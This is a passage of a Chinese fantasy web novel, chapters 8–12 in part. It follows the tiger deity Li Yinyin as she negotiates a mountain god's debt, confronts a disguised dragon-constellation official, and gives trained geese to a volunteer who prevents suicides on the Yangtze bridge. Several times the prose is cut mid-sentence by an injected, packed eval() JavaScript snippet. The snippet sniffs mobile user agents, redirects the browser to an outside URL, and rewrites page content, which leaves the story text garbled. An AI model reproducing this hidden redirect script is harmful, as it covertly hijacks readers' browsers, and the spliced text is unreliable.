所有的事都是一位老书仙对一位老树精说的,最后还神秘莫测地补充了一句:“刑不可知,则威不可测,你懂的。” 众所周知: 老人家说的话绝对是不会错的。 老人家不可能骗人只为寻开心。 老人家绝不可能道听途说就传谣。 老人家绝不可能想要吹牛装逼。 总之,李寅寅也接受了这个设定,相信自己身上有初始功德值,在攒出一些新功德之间,尽量不要动用老本。 万一,自己没有老本可以吃,稍稍一扣就直接停机了呢? 不能冒险,先盘盘道。 李寅寅看着他:“你到底是谁!” 来人朗声答道:“蒋山山神朱长乐!落仙湖在我的管辖范围之内!” 李寅寅冷哼一声:“山神?你说是就是啦!怎么证明?!” 山神是山的管理者,而不能把山当成私有财产随意处置,最多坐着挂着桂旗的辛夷车,拉上赤豹和文狸在山里转悠。 这种事,身为丛林之王的虎也可以做到,她也能召唤动物,她也有车,她的车都比辛夷车强! 五菱宏光MINI!虽然车是介老头的,但现在是她在开。 她有钥匙,一按开锁滴滴响,怎么不算是她的车呢。 没有凭证,就算是真山神,也按诈骗犯处理。 朱长乐从腰间小布袋里摸出一个黑色皮本,上书一行金色大字——蒋山景区管理处工作证。 工作证打开,左边写着: 工号:0049 姓名:朱长乐 性别:男 年龄:30 职位:蒋山风景区管理中心巡管 左边是一寸免冠蓝底照片,照片上有钢印。 下面是工作证的使用注意事项。 可恶,这个山神居然进事业编了! 李寅寅羡慕得眼睛发绿。 刚醒来的时候,李寅寅就打听过在体制内的工作有多快乐。 有食堂、有单身职工宿舍、每个月肯定会有工资到账、不会因为生病请假被开除。 根据她模糊的记忆,进体制,就是要考写文章,首先字体和格式要对。 比如提到自己的时候,“臣”要比别的字小一点,提到皇帝的时候,要另起一行,顶格写。 所以,她研究了公文格式。 然后,她发现,只知道公文格式,根本进不了编制,还有一大堆要求。 而她,要文凭有力气,要关系有力气,要应届生身份有力气,要基层工作经验有力气…… 优点:有力气! 特长:有力气! 总结:适合去工地搬砖。 李寅寅遂死了进体制的心,并自我安慰:我又不是人,进不了编制很正常,太多的社会关系和过往经历要编,还有那么多熟人关系,很难的啦! 结果,现在,就在眼前,一个活生生的山神站在这里,手里拿着的是归属市政部门的蒋山风景区管理处的工作证! 李寅寅卷起袖子,昂首挺胸:“我又没往水里扔东西,也没在树上涂油漆,凭什么这钱要我出?看我是个娇弱可怜孤苦无依的女孩子就欺负我!” 朱长乐完全没有被她的柔弱打动,声音越来越大:“延维是你杀的,你管杀不管埋就走了!湖水粘得鱼都游不动,湖龙王要告到天庭哩!还有大香樟被你泼了一头一脸的延维血,叶子掉了一大半! 大香樟,多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713566|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚烈一妖啊!哭了整整一夜,说秃了、毁容了、不想活了!最后是我求了整个山的几百个妖仙!干了整整一夜才收拾干净!” “啊……嗯……哦……”李寅寅忽然有点心虚,不过,要赔五百万呐,她没理也要搅出三分来。 见李寅寅半天不说话,朱长乐开口:“要是你不相信,我叫湖龙王过来做证。” 李寅寅清了清嗓子:“不用了,虽然,延维是我杀的,可是,你就放任那么大一条蛇在山里待着,养水鬼,勾替身,你不是管理吗,就这么干看着?” 朱长乐理直气壮:“良言难劝该死的鬼,我不能介入某一个人的因果,只能广而告之,牌子和横幅你都看见了?有人理吗!” 本来进门的时候,他气势汹汹,很像打家劫舍的悍匪。 现在他越说越气,声音越来越高:“反正,你要赔钱!” 李寅寅已经把所有的费用项目都看完了,里面居然还有“洗手费”“洗脚费”,显然是把自己的私账也给报进去了。 她指着这几条:“这些钱你的收取依据是什么?有红头文件吗?有条款规定吗?好好的不学,学人乱收费。我敢给,你敢给我开票吗?” 在她身后,升起了一只半透明的白色巨虎,它居高临下,一双如刀一般锐利的眼睛狠狠瞪着朱长乐。 朱长乐瑟瑟发抖,双手紧握住斧子:“你你你你不要过来呀!!” 李寅寅冷冷一笑:“知道上一个手持利刃,擅闯白虎节堂的人,是什么结局吗?” 她身后的白虎虚影虎口大张,露出交错利齿,好像下一秒就要把朱长乐吃掉。 朱长乐被吓得放声大哭:“人不听我的,妖也不听我的!不请他们吃喝玩乐,他们根本不理我,请他们干活的钱,都不能报销,都是……是我自己一块钱一块钱攒的……呜~呜呜呜~呜~~~呜呜呜……” 哭着哭着,他的身体发生了变化,鼻子变长,下唇两根小小弯弯的獠牙向上翘起,身上的绿衣服也变成叶子,掉落在地,露出真身:一只背上有白色条纹的小野猪。 小野猪哭得异常伤心,深度沉浸在自己的悲伤之中,跟他说什么都没反应。 李寅寅不吃硬,吃软,都哭成这样了,她还能说什么,也只得坐下:“要不,你先哭个五分钟,然后咱们再谈谈这事怎么解决?” 她在手机上定了一个五分钟后的闹钟,又掏出一包四百抽的纸巾放在桌上,然后专心看小猪抽泣,小小一团,一抖一抖,超可爱的。 李寅寅一边看一边为自己惆怅:连小猪崽都考编上岸了,我不就多睡了几年么,怎么就不成了呢? 9. 第 9 章 “滴滴滴……滴滴滴……”闹钟响起,李寅寅抬手按掉闹钟:“能聊了吗?” 朱长乐抬头看着她,那双无辜的豆豆眼里盈满了泪水,委委屈屈地点了点头。 “咱们用人形说话,别吓着送牛奶的,还有那个斧子,收起来,别把警察给招来了。” 朱长乐横躺在树叶子上打了个滚,又变回了来时的模样,他起身端端正正的坐下。 那把斧子变成了一根又长又直的棍子,放在他的膝盖上。 “说说吧,这钱到底是怎么花出去的?”李寅寅指着账单。 “本来湖里的水鬼是延维拘着的,他一死,鬼没管束,到处乱飞,还有延维的血真的粘得到处都是,要是被人类发现,会有很大的麻烦,我就请了蒋山、幕府山、覆舟山上的妖仙帮忙……然后……然后我就欠了五百万。” 李寅寅哀其不争:“你都没砍价?从脚脖子开始砍啊,你手里拿着大斧子,就是用来当拐棍用的吗?” “不是!”朱长乐要为自己正名,“我不是跟他们一个一个谈的,是他们局长找我的。” “什么局?”李寅寅震惊了,猪妖考进事业编已经让她震碎三观,这位是直接进了公务员体系?! “白下妖仙管理局。” 李寅寅愣了一下,闻所未闻,打开电脑搜索,也没有。 “别是诈骗吧?给你看证件了?” “没有。但是那些妖怪真的都听他的。”朱长乐哼哼唧唧,声音越来越小,“我没有钱,他说先欠着,就让那些山里的妖怪帮我清理了。” 李寅寅“哦”了一声:“他人还怪好的嘞。” “但是,要五百万捏……”朱长乐低着头,吸溜了一下鼻子,“你……你多少要出一点……” “为什么?” 朱长乐挥动猪蹄:“谁污染,谁治理!” “又不是我污染的,是延维。” 李寅寅身后的白虎影子,还配合的龇了龇牙,又把朱长乐给吓哭了。 哭归哭,该说的还是要说:“就是你干的,你要负责,呜呜呜……” “干完了不负责,没想到你是这样的老板。”猫形的薛姗不知道什么时候跳到了柜式空调的顶端,空调下面还蹲着狗形冯墨。 凌晨三点,一猫一狗的眼睛在黑夜中炯炯有神,好像四颗大灯泡。 薛姗懒洋洋地趴着:“始乱终弃啊,渣。” 冯墨歪着脑袋,眼睛一眨不眨地看着朱长乐:“原来你喜欢他这样圆滚滚的!” 做妖的时候,可以不在乎花边新闻。 做人了,还得注意一点影响。 虽然朱长乐很弱,可是,他够执着,想不出来什么新鲜的词,嘴里翻来覆去就是一句:“你要对我负责。” 李寅寅被他闹得没办法,给钱是不可能给钱的,五百万,又不是五百块……不对,五百块也够多的,现在消费降级了。 “先别哭,你肯定没好好砍价,你介绍我给那个局长认识,我帮你把价格打下来。” 朱长乐的眼泪瞬间就收住了:“真的?” “骗你干嘛,你去约时间。” “太好了,你说话肯定比我好使。”朱长乐激动地搓了搓猪蹄。 “好不好使另说,以后别动不动就哭了,一个大男人,太难看了。” “我不想哭的,就是一激动就忍不住……对不起,对不起……”知道李寅寅愿意出面之后,朱长乐一边擦眼泪一边咧着嘴笑。 · · 局长办公室在离燕子矶不远的一栋小楼里。 坐在楼中,都能听见滚滚长江东逝水的声音。 朱长乐紧张地来回搓手,李寅寅提醒道:“再搓,你的蹄壳就要被搓掉了。” “嘿嘿……”朱长乐用干笑掩饰尴尬,“我有点怕他。” “他很凶?” “是天性,他是你的同族。” 李寅寅冷哼一声:“我也没见你怕我啊,气势汹汹半夜提着凶器闯门,这要是人类的法律,我可以打死你的。” 朱长乐小声嗫嚅:“就是因为怕你,才去借的斧子。进门时候说的那句话,我练了好久呢。” 李寅寅冲他竖了个大拇指:“行啊,真能装,我都没看出来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713567|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱长乐害羞地低头摸了摸脑袋:“谢谢夸奖,都是上班以后练出来的。” 一位身穿西装套裙的女助理走进等候室:“局长请你们进去。” 办公室很大,有三十平方米,哑光木质装修,前方黑色皮沙发,后面一整排贴墙的书架,书架前面是一张大号办公桌,桌旁的大班椅上坐着一个穿着藏青色西装的男人。 这男人生得浓眉大眼,脸盘端正,一腔正气,如果是五六十年代,他绝对是标准帅哥,往那一站,就是正面角色,哪怕是反派阵营的人,不到大结局出字幕,观众绝对不会相信他真的不是卧底。 具体年龄看不出来,打扮像四五十,可是眼角没有皱纹,下颔线清晰,腰背挺拔。 见到李寅寅和朱长乐的时候,他脸上带着微笑,显得谦和有礼、平易进人。 朱长乐进门欠了欠身,满脸笑容:“安局长好,这位就是见义勇为的李寅寅,那个……钱的事……您看……” 他声音颤抖,小心地搜索最合适的词句。 安局长微笑:“你的意思我明白,我想跟这位李同志了解一下事发时的细节。” “是是是。”朱长乐向后退了一步,恭恭敬敬站在李寅寅的身后。 李寅寅转身微笑:“具体细节,涉及到我的个人隐私,你在这,不太方便。” “那我先失陪了。”朱长乐转身出去了。 他满怀着对砍价成功的期待。 这俩都是虎妖,这会儿肯定在攀交情,盘关系吧…… 自己一个外人,确实不方便在场。 说不定两人是一脉相承的直系。 妖怪对纯净的血统是很看重的。 如果李寅寅是安局长的亲孙女什么的,那肯定有求必应,五百万砍到直接免费都有可能咧! 嘿嘿~ 光是想,朱长乐就忍不住咧开了嘴。 忽然,屋内爆出一声厉喝:“干你大爷的,剑来!!!” 紧接着什么声音都没有了,两人的气息也彻底消失。 朱长乐:“???” 砍价……是用剑? 10. 第 10 章 四周一片黑暗,有一束自高处打下的光照在安局长的身上,让他如同被探照灯牢牢锁定行踪的越狱犯人。 站在强光之中的人,无论向哪个方向望去,都是无尽的黑暗。 安局长的情绪稳定:“是我小瞧你了,没想到,你在失去力量之后,还能张开结界。” 李寅寅声音中带着笑意:“你们孟章星君不会还没醒吧,不然,你还不跟前赶后的伺候在身边,小~尾~巴~” “百年不见,监兵星君还是这么喜欢开玩笑。”安局长向发出声音的位置欠了欠身:“不瞒星君,这次我有事相求。” “小尾巴,你这官威赫赫的,可不像是求人的样子啊。” 安局长闭了闭眼睛,整个人慢慢发生变化,一身正红色锦缎镶边战甲,头戴红缨兜鍪,腰系青丝绦束甲,手持一柄亮银风纹枪。 容貌也发生变化,一双剑眉压虎目,眸正神清。 从“不用稿子就在大会上能自言自语四小时”的成熟稳重文官,变成“战鼓震天兵马动,一柄银枪挑六合”的骁勇武将。 他右手持枪,左手将战甲下摆一撩,单膝跪地:“青龙尾火虎拜见监兵星君。” “起来吧。”李寅寅慢慢从黑暗中走出来,此时,她也换了一身装扮,玉色发冠将一头银色长发高高束起,身穿白色镶银蓝边战裙,肩头是银肩扣住的水蓝色斗蓬。 她扬起斗蓬,直直坐下,虚空中出现一只巨大的白虎,乖巧懂事的伏在地上,像一只巨大的虎形坐垫,李寅寅懒懒向一侧倚着,手肘支在白虎的脑袋上,望着尾火虎:“孟章让你来的?” 尾火虎是青龙七宿之一。 自古以来,青龙与白虎便争斗不休。 在仙界要顾及彼此身份,面和心不和,见面时阴阳一番对方是基本操作。 化身去人间应劫的时候,每回也是生死相见,不是白虎捅死了青龙,就是青龙戳死了白虎。 李寅寅曾恰好转世成了青龙的父亲,不管是哪朝哪代,杀父母都是为法律礼法不容的重罪。 谁能想到,父子共同出征的时候,死青龙托生的儿子,竟然看到了李寅寅的白虎本相,一箭射死,直接送她回仙界。 这事让李寅寅在仙界被嘲了很多年,只有托塔天王李靖同情她:“谁家还没有一个不省心的儿子呢?” 说着,他将手中托的宝塔从左手换到右手,跟在身后的哪吒睁着一双双眼睛,瞄着那座黄金宝塔,等李靖倒手成功,哪吒的眼神也从期待转为遗憾。 哪吒给李寅寅出主意:“等下回,你托身成他妈,他没有理由拿着武器进后宅,也不能在你睡着的时候进屋。” 李寅寅:“谢谢啊。” 与其当一个被困后宅一生的深闺妇人,李寅寅觉得还不如被一箭射死算了。 后来,天下大乱,杀来杀去,李寅寅和青龙又奉命下界平衡各方力量,再后来仙界不知怎么回事,彻底断了与人界的联系,她和青龙回不去了,白虎七宿与青龙七宿的力量也消耗怠尽。 星君力量的主要来源就是各自座下的七宿,没有他们,星君们的法力也只能发挥出一丁点,像李寅寅,就只能确保她自己武勇过人,别人就管不动了。 消费降级都让凡人苦恼得要命,让一个掌握天下杀戮兵马,说灭哪国就灭哪国的星君,降权成只会“哇呀呀,我定要将你轰杀呀”的单人玩家,李寅寅觉得还不如被青龙一箭射死算了。 可是,她不能死,仙界不知出了什么事,要是这会儿死了,说不定就真的凉透。 特别是想着青龙那厮还得瑟的活着,那是绝对不行的! 自己的失败固然可怕,同部门不同项目组同事的成功更令人揪心。 摆在李寅寅面前只有两个选择,要么在人间当个没有力量的普通人。跟真正的凡人比,她的优势是不会死,劣势也是不会死。 没有白虎七宿的力量,凡人也可以伤到她,她甚至还得按时定点吃饭,不然会饿得难受,身上该疼的零件一样不会少。 要是不小心被变态设陷阱抓了,把她身上的肉一片一片的切下来,她都死不了,到时候她已经成骷髅架子了,还死不掉,满大街转悠……那场景想想都很丢脸。 所以,李寅寅选择找了十处风水宝地埋藏她收集来的金银财宝,然后钻进大山,好好睡一觉。 一觉醒来,好消息是她的法力恢复了一点,身边还躺着一只狗和一只猫,有这俩帮忙清理,才让她醒来时看见自己干干净净,而不是一身脏污臭哄哄。 坏消息是白虎七宿都不见了,她也失去了对他们的感应能力,一个都找不着。 李寅寅甚至都不知道要怎么找他们,也不知道是不是已经严重到了就算面对面也认不出他们。 她猜想,他们也许会化成原形在人间待着,毕竟在战火纷飞的年代,变成无人区的禽兽也比当人强。 所以,她才开了个宠物店,想撞大运试试。 结果,还没遇上娄金狗,就先碰到青龙的七宿之一的尾火虎,这小子居然还混成官了。 尾火虎是青龙七宿之中最稳重的一个,主要工作是调和人与人之间的小矛盾。 国与国之间的大矛盾,就是李寅寅的主营业务了。 杀杀杀,杀到一方腿软,再坐下来谈和平条约。 就目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713568|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前华夏的形势来看,似乎没有哪里的局势到需要求李寅寅出手的地步。 尾火虎恭敬垂首:“事情紧急,没有来得及向主上禀报,但主上曾说过四极星君共同拱卫紫宸,齐心稳定人界的平衡。这次我所求之事,正是为了人界,事急从权,想必主上不会怪罪,只看监兵星君是否愿意了。” 不愧是做了局长的人,这官话一套一套的。 李寅寅悠然把玩着老虎的耳朵:“先说什么事,我再决定愿不愿意。” 电视剧里才会在别人都没说清楚到底是什么事情之前就说“我答应你”,还有没事许别人三个愿望的。 这种事,她绝不会做。 “有人类以符咒拘控妖物,此事已极大影响人与妖之间的关系,九婴已出手伤及数名人类做为报复,如果任由事态发展,只怕会惊动人类的法术界异人,到时候,只怕留在人间的妖和仙都会被卷入,现在在人间界的上仙,我能找到并倚仗的,唯有监兵星君了。” 尾火虎无比诚恳,就是李寅寅觉得好像在电视剧里看过:“小张啊,新来的人里面,我最看重你,你要好好表现哦,将来我一定会好好提拔你。” 然后小张就吭哧吭哧的加班卖命,有事他做,有锅他背。 尾火虎这厮,甚至连“好好提拔你”这种大饼都不画一个。 李寅寅不是很想管这闲事,反正人间的法术异人弄不死正神,不然她早就想办法引人类去搞死青龙了。 “孟章没有告诉过你们,不要随意介入他人因果吗?他用符咒是他不对,死后下地狱该怎么处罚就怎么处罚。你既然是青龙座下,更应该带头遵守……” 尾火虎在李寅寅说话换气的间隙,插进一句:“他拘的仙里,好像有娄金狗。” “什么?!你确定?”李寅寅的套话还没来得及说完,就给噎回去了。 尾火虎谦卑恭顺地低下头:“那座房子有符咒相阻,我法力微弱,不得进入,只能远远地看一眼,看不大真切,只是依稀像他。他被拴在架子上,身边似乎还摆了阵法,日夜哀叫。我虽曾与他相斗,但也是惺惺相惜,实在不忍见他如此痛苦,如果星君不愿意出手相助,我只能安排人类刺客进去,帮他解脱,也好早入轮回……” 这种话术实在很低劣,跟没有出息的电诈差不多。 电诈是骗钱,尾火虎……甚至不知道他的目的到底是什么。 但是,不去看看又不行。 李寅寅微微一笑:“你少在我面前装,二十八宿之间的气息相通,什么时候是靠眼睛来看是不是了?如果那不是娄金狗,你这局长也不必当了,就在这结界里一直反省到孟章归位吧!” 11. 第 11 章 在那一声厉喝之后,屋里再也没有传出一点声音,连拆墙的声音都没有,这很不合理。 朱长乐在外间,忐忑不安地等待。 会不会,其实虎妖一族是靠吃同类提升修为的? 他不是害了李寅寅吗? 朱长乐自出生以来就被皇室视为祥瑞,吃得好住得好,还有紫微帝星虔诚的供养,还没满月就得了灵气,能化成人形。 建国后在基层工作,除了过十几年就要给自己编一套身世之外,别的什么坏事都没有干过。 以前编制不需要考的时候,他就以老年模样推荐年轻的自己顶职。 现在要考了,他都老老实实的去考,还报辅导班呢! 从来没想过可以靠自己几代人在市政系统里的关系,就把岗位给安排了。 老实一辈子,一出事就出个大的。 朱长乐已经在想如果李寅寅真的出了事,他应该怎么办,怎么向店里的那几人交待,要负什么责任,不不不,也许考虑这一切都太早了,万一安局长觉得吃同族的影响不好,一会儿开门就把他也给吃了灭口…… 正想着,办公室的门开了,露出安局长高大的身影,朱长乐整个人一个激灵:完了,李寅寅已经没了,下一个就轮到他,不然局长为什么会亲自出来开门,让助理让他走不就行了。 朱长乐的声音带着哭腔:“我今年的考核指标还没完成,你不能吃我!” “谁要吃你?”李寅寅从安局长身后走出来,好奇地看着他。 朱长乐的小豆豆眼像见鬼一样看着李寅寅,又看了看安局长,抽了抽鼻子,马上从沙发上跳起来,连连道歉:“……那个,我刚才不小心睡着了……不好意思,不好意思……” 安局长笑道:“看来是行政的工作很到位,温度和沙发都很舒服。” 他侧过身,诚恳地握住李寅寅的手: “非常感谢你对我们局里工作的支持,像你这样的热心市民,是我们开展工作的坚强后盾,后面的事情,还要麻烦你多费心,期待你的好消息。” “没问题,你也好好干。”李寅寅用力摇了摇安局长的手,还像长辈对年轻小辈那样,用另一只手在他的手背上拍了拍。 朱长乐怔怔地看着那两只如革命同志一般紧紧交握住的手,开始反思自己听到的那句“干你大爷的,剑来”可能是幻听,又在思考两虎之间的关系,难道,李寅寅是安局长的长辈? 再想到自己带斧夜闯宠物店,朱长乐又紧张地开始搓手,太冒昧了。 朱长乐的猪蹄快要搓出火花了,才憋出三个字:“那个……钱……” “不用给了,都是为了工作,你也不容易,以后有什么需要,尽快开口,我们会尽全力帮你。”安局长温和的声音,慈爱的面容,把朱长乐给感动的眼泪汪汪。 出来之后,李寅寅径直往山上走,朱长乐好奇地跟着她:“去哪里?” “看一块碑,领悟一下精神。”李寅寅大步流星往上走,朱长乐跟在后面:“看那个皇帝写的御碑吗?有什么好看的,一辈子写了四万多首诗,没一首是必考的。” 路过御碑亭,李寅定却没有停下脚步,继续向前,江畔绝壁被江水冲出大大小小的溶洞,灰白石灰岩之上错落着墨绿色的石刻。 最终李寅寅在一块石碑前停下脚步,那块石碑的待遇不怎么样,就这么在露天搁着,不像爱下江南皇帝写的石碑,给修了一个双层飞檐顶的亭子。 石碑上的字也很意识流:想一想,死不得 后面缀了三个字:陶行知 身为市政系统的在编人士,朱长乐当然知道这块碑是什么意思,1927年就立着了,从木碑到石碑,这块碑劝许多想轻生的人放弃念头。 现在在这轻生的人确实几乎没有,掉下去的都是翻过栏杆拍美照的游客。 毕竟燕子矶公园门票八块。 不是说八块掏不起,是一旦冲动的念头被打断,那个劲就过了。 “人真是一种奇怪的动物,天要收的时候,想尽办法不愿意死。明明还能继续活,又总会因为乱七八糟的原因想求死。”李寅寅的胳膊支在栏杆上,看着悬崖下的滚滚江水。 “谁说不是呢,二十年前,我们管理处一个人,车祸,高位截瘫,真惨,头两年天天想着怎么自杀。” 李寅寅表示理解:“干什么都得靠别人,没有一点自主,确实过得难受。” “不过他家里人盯得紧,他一直没成功,日子一天天的过,又活了十几年,得了癌症,天天找偏方寻大师,各种弹出小广告里的仙丹妙药都想试一试,还遇上了几回诈骗,被骗了七八万,还继续信,就想着万一是真的呢。” 李寅寅在战争与饥荒中见过灿烂的光辉,也见过至极的阴暗。 有人可以为了压根不认识的人去死。 也有人为了自己活下来,不惜出卖自己的血亲。 天道有常,不为尧存,不为桀亡。 李寅寅要做的是平衡。 “刚才小……安局长,让我帮他一个忙,这事你也得帮我一下。” 李寅寅刚刚帮他免了五百万的债务,朱长乐恨不能马上回报,积极地问道:“什么忙?” “你那有没有鹅?” “有!”朱长乐立马拿出手机,并再次请示确认:“要杀好切块吗?” 李寅寅:“我要活的,力气大,游泳好。” “哦……是用来干什么的?” “从江里捞想不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713569|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开的人。” “你不是说不要介入别人的因果吗?” 李寅寅压低声音:“不是我用,是给一个善人,老安说了,那人功德厚得很,帮他一个,等于帮普通人十个,划算!你要是能找来靠谱的鹅,功德咱俩对半分。” 身在凡间的妖和仙谁不想要功德,朱长乐立马清脆地应了一声: “好嘞!” “我去确认一下具体要求,你帮我先物色着。” · · 尾火虎说的那个布满符咒,以及“远远看着像娄金狗”的房子叫福聚心灵精舍,打出的广告标语是:现代人心灵的休息室,找寻自我,审视内心。这是红尘俗世中的一方净土…… 这本来是个挺正常的事。 很久以前的教堂就有忏悔室,现在有心理医生,实在不行还有社交网络,在熟人面前不敢说不能说的话,都能寻个出口发泄出去。 不正常的就是屋子周围的符咒。 尾火虎是天道四极正神,拥有青龙之力的七分之一。 以他的能力都进不去,得低头来求常年与青龙互殴的李寅寅,已经充分说明一些问题了。 李寅寅是西极正仙,就算是九幽鬼帝亲手画的符,她也不放在眼里。 只有一点小小的问题,那个房子四周加入了言灵禁制,没有什么伤害性,但是妖仙鬼魔只有得到房屋里的人允许,才能进入。 以李寅寅的实力,想进去,这道禁制当然挡不住她,只不过需要从“随风潜入夜,润物细无声”变成“惊雷这通天修为,天塌地陷紫金锤”。 在还没有搞清楚情况之前,搞这么大动静有点没必要。 尾火虎不愧是体制内的,非常懂事,马上给李寅寅出了一个解决方案:曲线救国。连走哪条曲线,应该找谁,都给安排好了。 李寅寅感慨万千,这才是她习惯的办事效率。 白虎七宿也有同样的能力,什么时候,才能找到他们。 顺着地址,李寅寅找到一户人家,门上贴着四个大字:心灵驿站。 屋里没人。 李寅寅又转头去了长江大桥,从南堡走到北堡,还是没有找到她想找的人。 只有一块写着“善待生命每一天,心灵驿站救助,138XXXXX”的牌子。 李寅寅拨通号码,电话很快接通。 “你好,我看到了你在江边立的牌子,想见见你,我在南堡向北的第十三根路灯杆旁边等你。” 长江水中,大大小小无数漩涡,不知卷下去多少性命。 不多时,一个男人急匆匆地赶来,见她趴在栏杆上,大惊失色,脚步放轻,速度加快,柔声细气:“姑娘,你有什么委屈,跟我说说?” 12. 第 12 章 “是陈全老师吗?”李寅寅转头笑道。 来人是一个五十多岁的男人,头发花白,眼角的皮肤已经垂下去,搭在眼睛上,看着很闷很老实。 陈全愣了一下:“我是陈全,不过我不是老师。” “能把想死的人说得回心转意,多少老师都做不到这一点呢。”李寅寅笑道:“你好,叫李寅寅。听说了你的事迹,想帮你。” 陈全“哦”的应了一声:“我们去那边说吧。” 位于大桥南堡的岗亭是陈全巡逻时的临时休息地,只有一把椅子、一张桌子、两个水瓶,以及一个玻璃罐头的瓶子,里面飘着褐绿色的茶叶。 没有电风扇,更没有空调。 夏天的上午九点,这种薄皮顶的小岗亭就会被太阳晒得像蒸笼,根本待不住人。 尾火虎说陈全已经在这里坚持了十几年,功德相当的厚。 不过最近连续遇到几回遇到轻生者没有救回来的事,陈全心里非常痛苦,觉得是自己不努力,观察不仔细,所以才会失败。 李寅寅觉得他这么一个凡人,能坚持这么久,真的很牛逼,那功德该是他的:“陈老师……” “哎哟哟,别叫我陈老师,当不起,当不起。”陈全连连摆手,“叫我陈师傅就行。” “好的,陈师傅。”李寅寅从善如流。 “是这样的,我听说你一直坚持在大桥上救人,这大桥四千多米,你一个人巡,巡到南头,顾不着北头,所以,我想送你两个小帮手。” 李寅寅说的帮手,就是鹅。 “机警、力气大、善游泳……”李寅寅认真数鹅的好处,“我想送给你,不要钱,饲料也由我们负责。” 陈全却笑着摇了摇头:“鹅对我来说,用途不大。” “是因为在他们跳下去之前,你都已经把他们劝下来了吗?”李寅寅还不死心,“可是,万一有人已经掉下去了,找水警没那么快,你下去又危险,如果有鹅的话,让鹅去。” 陈全无奈地摇头:“桥面离水有六十四米,水下还有漩涡,人下去就被卷走了,经常连尸体都找不着……没有用的。” “普通鹅确实不行,我们店里的鹅不一样,经过培训,有漩涡也不怕。再说能不能的,先试试呀,反正又没有损失,不行的话,我就把它带走。”李寅寅非常执着。 “这样啊……”陈全真心觉得鹅没用,但是李寅寅实在太真挚热情了,他也不好意思强硬的开口拒绝。 听到他的语气有犹豫,李寅寅又马上紧跟了一句:“说不定就真的能多救一个人呢?” 这句话打动了陈全,他想了想,到底还是答应了。 李寅寅站起身:“下午我就把鹅送来。” 太阳落山时,一黑一白两只鹅,优雅地站在陈全面前。 陈全盯着它俩:“这跟我们村的鹅长得不一样啊。” “对,这是天鹅,力气比普通的家鹅还要大,人在九千米都呼吸困难了,它们还能飞。” “哦哟,这么厉害。”陈全嘴上夸着,心里对它俩的能力还是不以为然,多了一个“天”字,不还是鹅么。 尽管不相信,不过陈全还是热情地留李寅寅一起吃晚饭。 小饭店在离大桥不远的新民路上,一共只有五个桌子,菜单上也都是家常菜,老板见陈全过来,连点什么菜都不问,就看着李寅寅问道:“丫头,啊有什么忌口的啊?” 李寅寅摇摇头:“没有。” “啊能吃辣啊?” “可以的。” 老板点点头:“里头坐到,菜一刻就好。” “今天不用。”陈全笑道,“她是我朋友。” “哦~”老板恍然大悟,“那啊要啤酒啊?” 陈全看着李寅寅:“你喝啤酒吗?” “喝。” 等坐下,老板熟练地上了两瓶啤酒,打开,倒杯,一气呵成,又端上了一碟盐水花生,一碟糟毛豆,李寅寅问道:“你跟这老板很熟?” “以前救下来的人,救一次,他还想不开,我就会带他们到这里来,一边吃一边聊。” 饭店老板端着菜过来:“他还开了个客栈,有些外地专门来寻死的,救下来没地方去,就先住那边。” 李寅寅不解:“专门?为什么?” “风景好,死得快。以前出租车司机最怕拉的就是说到长江大桥,还一脸苦相的人,出过几回事,就是开到桥上,说要下来拍照,司机就把车停了,一停,就直接开车门,冲到栏杆边上跳下去了。这哪个心里不咕素啊?” “老陈是在做善事。” 陈全听着,脸上淡淡的,没什么表情:“什么善不善的,总不能看人死在我面前。” 酒足饭饱,李寅寅要结账,陈全按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 